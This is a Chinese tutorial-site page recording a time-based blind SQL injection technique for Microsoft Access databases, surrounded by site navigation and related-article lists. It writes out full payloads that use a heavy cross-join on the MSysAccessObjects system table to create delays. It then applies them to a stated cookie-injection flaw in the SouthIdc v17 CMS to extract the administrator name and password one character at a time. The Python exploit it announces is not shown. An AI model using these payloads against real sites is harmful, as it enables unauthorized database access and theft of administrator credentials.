Access數(shù)據(jù)庫(kù)基于時(shí)間sql盲注的實(shí)現(xiàn)記錄_Access數(shù)據(jù)庫(kù)教程
推薦:關(guān)閉Access2010數(shù)據(jù)庫(kù)默認(rèn)輸入法的方法1.打開Access2010,點(diǎn)擊開始選項(xiàng)卡,選擇選項(xiàng) 2.在打開的Access選項(xiàng)窗口中,在左邊的菜單中選擇客戶端設(shè)置,在右邊的窗口中將數(shù)據(jù)表IME控件勾選,確定即可,相關(guān)截圖如下所示:
Access是微軟把數(shù)據(jù)庫(kù)引擎的圖形用戶界面和軟件開發(fā)工具結(jié)合在一起的一個(gè)數(shù)據(jù)庫(kù)管理系統(tǒng)。本文我們來看看Access數(shù)據(jù)庫(kù)基于時(shí)間sql盲注的實(shí)現(xiàn)記錄。
概述
眾所周知,access數(shù)據(jù)庫(kù)是不支持基于時(shí)間的盲注方式,但是我們可以利用access的系統(tǒng)表MSysAccessObjects,通過多負(fù)荷查詢(Heavy Queries)的方式實(shí)現(xiàn)。
初步探究
我們以SouthIdcv17數(shù)據(jù)庫(kù)為例
執(zhí)行 select * from Southidc_About ,返回結(jié)果如下圖。

如何實(shí)現(xiàn)time base injection 呢?我們就要利用這條語句
SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,
MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12
具體實(shí)現(xiàn)方式如下:
select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,
MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from
Southidc_Admin)=97
我們可以執(zhí)行一次,觀察效果。
很明顯,經(jīng)歷了大約40s才返回結(jié)果

當(dāng)我們執(zhí)行如下語句時(shí),也就是把最后的97改為96
select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,
MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from
Southidc_Admin)=96

很快就執(zhí)行完畢,沒有延時(shí)。
很明顯,我們通過where條件后的
(SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,
MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0
實(shí)現(xiàn)了延時(shí),但需要注意的是這里where后的條件是有順序的,實(shí)現(xiàn)延時(shí)的語句必須在
1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97
之前,為什么呢?實(shí)驗(yàn)得出的結(jié)論。
實(shí)例實(shí)現(xiàn)
在SouthIdc 17 中,有一處sql注入漏洞,但是常規(guī)的方法并不能成功利用漏洞。漏洞代碼如下:

雖然程序把Post和Get的數(shù)據(jù)進(jìn)行了過濾,但是我們依舊我可以通過Cookie的提交方式進(jìn)行注入。
好,我們實(shí)現(xiàn)一下注入利用。
我們需要注入的語句為:
select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc
通過提交cookie
Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image
ParentID為程序上部傳進(jìn)的值,最終的語句為:
1select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1
我們可以在查詢器中看一下效果
96時(shí),不延時(shí),如圖:

97時(shí)延時(shí),效果如下圖:

接下來,我們可以利用上述語句進(jìn)行exp的編寫,筆者這里用python
核心代碼如下:

分享:IIS中利用重定向URL來防止Access數(shù)據(jù)庫(kù)被下載的方法對(duì)于ASP+Access開發(fā)的網(wǎng)站,安全性最最讓人擔(dān)憂的就是Access數(shù)據(jù)庫(kù)可以隨意下載,當(dāng)然我們可以通過一些修改數(shù)據(jù)庫(kù)名稱的手段進(jìn)行盡量的防護(hù),但歸根結(jié)底是不徹底的。所以今天就來談?wù)勗贗IS中利用重定向URL來防止Access數(shù)據(jù)庫(kù)被下載的方法。 此方法需要你有IIS的管理權(quán)
- 關(guān)閉Access2010數(shù)據(jù)庫(kù)默認(rèn)輸入法的方法
- IIS中利用重定向URL來防止Access數(shù)據(jù)庫(kù)被下載的方法
- 關(guān)閉Access數(shù)據(jù)庫(kù)默認(rèn)輸入法的方法
- 如何合理規(guī)劃access數(shù)據(jù)庫(kù)
- Access學(xué)習(xí)新建一個(gè)access數(shù)據(jù)庫(kù)
- ACCESS數(shù)據(jù)庫(kù)自動(dòng)編號(hào)初始化其實(shí)很容易
- 數(shù)據(jù)庫(kù)的概念
- 數(shù)據(jù)庫(kù)管理系統(tǒng)(DataBase Management System)
- 實(shí)體關(guān)系圖
- Access數(shù)據(jù)庫(kù)的壓縮與修復(fù)圖解教程
- access數(shù)據(jù)庫(kù)密碼找回方法詳解
- access快捷鍵大全
Access數(shù)據(jù)庫(kù)教程Rss訂閱編程教程搜索
Access數(shù)據(jù)庫(kù)教程推薦
- 關(guān)于ASP訪問ACCESS“不能打開注冊(cè)表”
- 一句sql更新兩個(gè)表并可更新對(duì)應(yīng)的字段值具體實(shí)現(xiàn)
- 如何設(shè)置ACCESS2003(運(yùn)行時(shí))的宏安全性級(jí)別
- 以獨(dú)占方式打開Access數(shù)據(jù)庫(kù)
- 中文Access2000速成教程--1.8 定義表之間的關(guān)系
- ACCESS表達(dá)式生成器
- access判斷表是否存在語句寫法
- 防止ACCESS數(shù)據(jù)庫(kù)被下載的9種方法
- 舊版數(shù)據(jù)庫(kù)轉(zhuǎn)換至ACCESS2000的注意事項(xiàng)
- 如何將Access升級(jí)為SQL Server 2005
猜你也喜歡看這些
- 怎樣解決文本框顯示小數(shù)點(diǎn)后很多數(shù)字的問題
- 如何用Access輕松打造圖書管理系統(tǒng)
- 在Access中使用系統(tǒng)表保存應(yīng)用程序變量
- 談Access為后臺(tái)數(shù)據(jù)庫(kù)的網(wǎng)站統(tǒng)計(jì)系統(tǒng)
- 舊版數(shù)據(jù)庫(kù)轉(zhuǎn)換至ACCESS2000的注意事項(xiàng)
- 網(wǎng)絡(luò)數(shù)據(jù)庫(kù)站點(diǎn)防黑措施
- 以指定工作組文件啟動(dòng)MDB文件
- 如何判斷一個(gè)字段是否在表中
- 解析Access與Sql Server之ASP代碼比較
- Access與MS SQL Server數(shù)據(jù)庫(kù)的相互轉(zhuǎn)換
- 相關(guān)鏈接:
復(fù)制本頁(yè)鏈接| 搜索Access數(shù)據(jù)庫(kù)基于時(shí)間sql盲注的實(shí)現(xiàn)記錄
- 教程說明:
Access數(shù)據(jù)庫(kù)教程-Access數(shù)據(jù)庫(kù)基于時(shí)間sql盲注的實(shí)現(xiàn)記錄
。